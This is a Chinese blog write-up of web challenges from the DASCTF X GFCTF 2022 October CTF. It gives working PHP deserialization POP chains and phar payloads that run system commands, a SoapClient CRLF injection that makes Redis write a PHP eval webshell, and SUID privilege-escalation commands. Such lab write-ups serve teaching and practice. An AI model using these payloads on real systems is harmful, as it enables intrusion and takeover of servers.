DASCTF X GFCTF 2022十月挑战赛

开发者福利!热门AI工具限时免费用 购周边即赠Coding Plan Lite,Claude Code、Cursor等20+工具畅享,效率翻倍! 阅读详情

EasyPOP

源码:

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}
?>

poc:

<?php
class fine
{
    public $cmd;
    public $content;
}
class secret_code
{
    public $code;
}

class show
{
    public $ctf;
    public $time;
}


class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;
}

$sorry = new sorry();
$sorry2 = new sorry();
$show = new show();
$secret_code = new secret_code();
$fine = new fine();
$sorry->hint = $show;
$show->ctf = $secret_code;
$secret_code->code = $sorry2;
$sorry2->key = $fine;
$fine->cmd = 'system';
$fine->content = 'cat /flag';
echo serialize($sorry);
?>

payload:只需要绕过 fine 类的 __wakeup 就可以了。

?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

hade_waibo

源码获取:search 界面,filename 参数获取源码,这些大家都会,怎么获取 flag 才是难点。
在这里插入图片描述

在这里插入图片描述
主要就是 class.php:

<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

class File
{
    #更新黑名单为白名单,更加的安全
    public $white = array("jpg","png");

    public function show($filename){
        echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
        if(empty($filename)){die();}
        return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
    }
    public function upload($type){
        $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
        return "Upload success! Path: upload/" . $filename;
    }
    public function rmfile(){
        system('rm -rf /var/www/html/upload/*');
    }
    public function check($type){
        if (!in_array($type,$this->white)){
            return false;
        }
        return true;
    }

}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

非预期解

test 类中的 backdoor 函数可以执行 system,但有过滤,过滤了字母数字和三个符号,并且 system 无法执行异或、取反、或,且反序列化后会先执行 __wakeup 再执行 backdoor,这边的 __wakeup 无法绕过,因为 php 的版本不符合,那么怎么使 value 值不发生改变呢?这边就涉及到一个小的知识点:我们只需要让 value 指向一个变量的地址,这样它的值就无法改变了。

class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}

在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。
在这里插入图片描述
且在这题中我们可以上传文件,那没我们可以上传一个 jpg 文件,内容为:

#/bin/sh
ls /

问题又来了,怎么令 value. ./* 呢?我们接着看 User 类,在 __wakeup$this->username = $_SESSION["username"];,也就是 $this->username == 我们的登录名,那么我们是就可以在登录时,以 . ./* 为登录名,然后令 Test 类中的 value 指向 username,因为 username 是可控的。

class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}

poc:

<?php
class User
{
public $username;
}

class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->a = $Test;
$Test->value = &$User->username;
echo serialize($User);

$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

在这里插入图片描述
最后读取flag,base64 解码 file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc

预期解

预期解就是利用 * /* ,把文件名当作命令,例如我们的文件名是 cat 那么就是 cat /*,但这个有个局限性,就 cat 而言,如果它不是排在第一位,就无法执行,反之可以。
在这里插入图片描述
回到题目,那么我们先要上传一个 cat 名字的文件,那要怎么传呢?在 test 类中的 __toString 可以传文件,且文件名是可控的。
在这里插入图片描述
且在 User 类中的 __destruct 存在 $this->username == '' 弱比较,可以令 usernametest 类 ,这样就可以触发 __toString 了。
在这里插入图片描述
那么 User 类中的 __wakeup 该怎么绕过呢?可以令 username 为一个数组,这样 username 就可以改为 test 类了。
在这里插入图片描述
在这里插入图片描述
第一条链子:

<?php

class User
{
public $username;
}

class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->username = $Test;
echo serialize($User);

$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

 ?>

此时 cat 已经写进去。
在这里插入图片描述
那么第二步就和非预期解一样了,只不过这次的 username == * /*

<?php
class User
{
public $username;
}

class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->a = $Test;
$Test->value = &$User->username;
echo serialize($User);

$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

在这里插入图片描述

EasyLove

先读 hint.php

<?php
class hint{
    public $hint = 'php://filter/read=convert.base64-encode/resource=/var/www/html/';
}
echo serialize(new hint());

hint.php 源码:

<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>

有 redis 且有密码是 202203111,所以我们可以通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。

想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013 第 360 题。

SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692

poc:

<?php
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    public function __construct(){
    
    	$this->wllm = 'SoapClient';
    	$this->l61q4cheng = array(
    		'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE",
    		'uri'=>'bbb', 
    		'location'=>'http://127.0.0.1:6379'
    	);

    }

}
echo urlencode(serialize(new swpu()));

这边反序列化后可以等一会就可以蚁剑连了,网页在转圈的原因是没有收到返回的信息自然就会在那边一直转。

flag 文件没有权限读取,这边学到了一个提权的小知识,suid 提权。
在这里插入图片描述
这边的 date 可执行文件中的 s 就是 suid 了。
在这里插入图片描述
提权payload:

find / -perm -u=s -type f 2>/dev/null
date -f /hereisflag/flllll111aaagg

如果还有什么方法,希望大叫能够告之 ^ _ ^ ,最后这题感觉主从复制应该也行。

BlogSystem

有点难,以后集合再弄吧

reference

dasctf 微信公众号里的 wp 文档
https://pysnow.cn/archives/566/
https://blog.csdn.net/qq_64201116/article/details/127541200?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&utm_relevant_index=9
DASCTF 2024暑期挑战赛 Reverse writeup 没看。 阅读详情

相关推荐

DASCTF X GFCTF 2022十月挑战赛 学习记录

DASCTF X GFCTF 2022十月挑战赛

m0_64815693的博客 2575

DASCTF部分复现

过滤了大括号 {{,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。因为whatisthis里头的数字,有的很大,我们尝试生成一个小数点长度在10000的圆周率出来,看看能得到什么,圆周率生成的脚本用的是下面这个网址的大佬的脚本。首先利用FTK挂载一下vmdk文件,得到加密的磁盘。...

qq_63928796的博客 3442

DASCTF X GFCTF 2022十月挑战赛web

此篇题解涉及到了pop链 的构造,phar上传以及rce,php原生类以及ssrf打内网redis,还有flask框架

m0_62422842的博客 2254

2022DASCTF7月赋能赛(复现

DASCTF七月赋能赛的三个web题复现,涉及到sql注入,模板注入,php反序列化以及session文件包含

m0_62422842的博客 3210

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

Yu3511606536的博客 1636

DASCTF X GFCTF 2022十月挑战赛 - pwn

所以思路很好想出来,首先可以利用rax来控制rsi进行read任意写,再利用rax控制rsi到read_got这里进行任意地址写,写成syscall。这个时候我们把rax设置成0x3b也就是execve,控制rdi为bin_sh,把rsi和rdx置为0,最后直接调用read就可以getshell了。发现了这一个gadget,而404018正好是bss的地址,可读可写,所以我们可以利用上面第一次的任意地址写将bss这里的地址写成bin_sh。这里的地方,并且最后还可以控制ret。

z1r0的博客 1083

【Web】DASCTF X GFCTF 2022十月挑战赛题解

之后对Test类的后门进行利用时要绕过wakeup,靶机是高版本php,不能用CVE-2016-7124打,但因为这题的特殊性,所以哪怕不绕过也可以玩。User::__wakeup()里username的值可以被赋值为 $_SESSION[“username”]的值,而这个值是我们可控的。因为反序列化时会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup,即先执行内层再执行外层,所以可以有如下利用。以. ./*登录,则可执行system('. ./*')

uuzeray的博客 2138

DASCTF X GFCTF 2022十月挑战赛 Web

from。

v2ish1yan的博客 1000

DASCTF X GFCTF 2022十月挑战赛-re

安恒2022.10月赛-re题解

Todog的博客 978

DASCTF X GFCTF 2022十月挑战赛 WriteUp

DASCTF X GFCTF 2022十月挑战赛 WriteUp

Whitebird的博客 5201

DASCTF X GFCTF 2022十月挑战赛

web方向部分wp

trytowritecode的博客 1987

全网首发!!!CTF BUUOJ [DASCTF X GFCTF 2022十月挑战赛!]Recover Secret Writeup

摘要 本文分析了DASCTF X GFCTF 2022十月挑战赛中的Crypto题目"Recover Secret"。题目基于Shamir秘密共享和Paillier加密系统,但存在两个关键漏洞:私钥直接泄露和加密数据被噪声混淆。解题过程包括:1) 解析输出文件获取私钥;2) 使用Paillier解密所有数据;3) 通过位数差异筛选真实数据点;4) 利用拉格朗日插值恢复秘密值。最终成功解密得到flag,展现了从加密数据中恢复秘密的有效方法。

2301_79316465的博客 1243

DASCTF X GFCTF 2022十月挑战赛 Writeup

DASCTF X GFCTF 2022十月挑战赛 Writeup

末初 · mochu7 3035

DASCTF X GFCTF 2022十月挑战赛-web复现wp

1.找魔术方法(因为我初学记不住),出口函数和入口函数接下来写exp这里注意一下要绕过fine 类的 __wakeup,将属性个数改成大于实际个数就行。看了个师傅的wp,知道了感觉比较方便的写法,就是写__construct()构造函数。

m0_53567065的博客 1205

DASCTF X GFCTF 2022十月挑战赛-hade_waibo

这是一个非预期解,但是得到出题人的赞许,莫名开心,哈哈:cancan need处存在任意文件读取这种查文件+文件上传,多半就是考phar,但是这次没做出来主要卡在的过滤了本来的思路是上传一个文件1.jpg,内容如下:#!/bin/bashls /这个文件在/upload目录下面,只要命令是。

qq_64201116的博客 1092

[DASCTF X GFCTF 2022十月挑战赛!]EasyPOP WP

2.sorry::__destruct,如果name和password不相等,会调用secret_code::secret(),进而include_once "hint.php"。4.return $this->ctf->show(),ctf为secret_code类,调用secret_code::show()5.return $this->code->secret,调用不存在的属性,code为sorry类,进入sorry::__get()使用name=&password,让两者值恒等,绕过随机赋值。

2202_75354817的博客 1000

DASCTF X GFCTF 2022十月挑战赛--Crypto

最后一步没搞出来,勉强就会这一道了(看了wp的情况下)。就是把flag截取成前一部分和后一部分。解出n_1,发现可以分解,有三个因数,那。对m进行随机数取余,在进行rsa基础加密。n2:取flag第20位字节之后的部分。传的参数是m2,即flag的后一部分。,解得k2 = 0,即m2 = m。n1:将flag右移200比特。看起来逻辑一样,基础rsa加密。得到了flag的前一部分。于是在模n_3的域上构造。

Luiino的博客 975

DASCTF X GFCTF 2022十月 Misc

DASCTF X GFCTF 2022 10

mumuzi的博客 5209

DASCTF 2022十月挑战赛 web

拿到源码就看哪里可以命令执行RCE,看那些php特殊函数,这里的话 就是`call_user_func($this->cmd, $this->content);首先destruct就直接调用了这两个方法,newnewnew()里面的参数我们是可控的属性,flag()里调用了不存在的方法。这里为何还需要User对象用一个不存在的属性实例化 Test()类,确实不太理解,有和没有的区别如下。admin被注册了,考虑如何登录admin,用普通用户登录一下,有发布文章,修改密码,查看文章的功能。

qq_61768489的博客 1019
上一篇: DASCTF X CBCTF 2022九月挑战赛
下一篇: DASCTF2022.07赋能赛 web 复现
succ3
博客等级 码龄6年 41粉丝 188原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值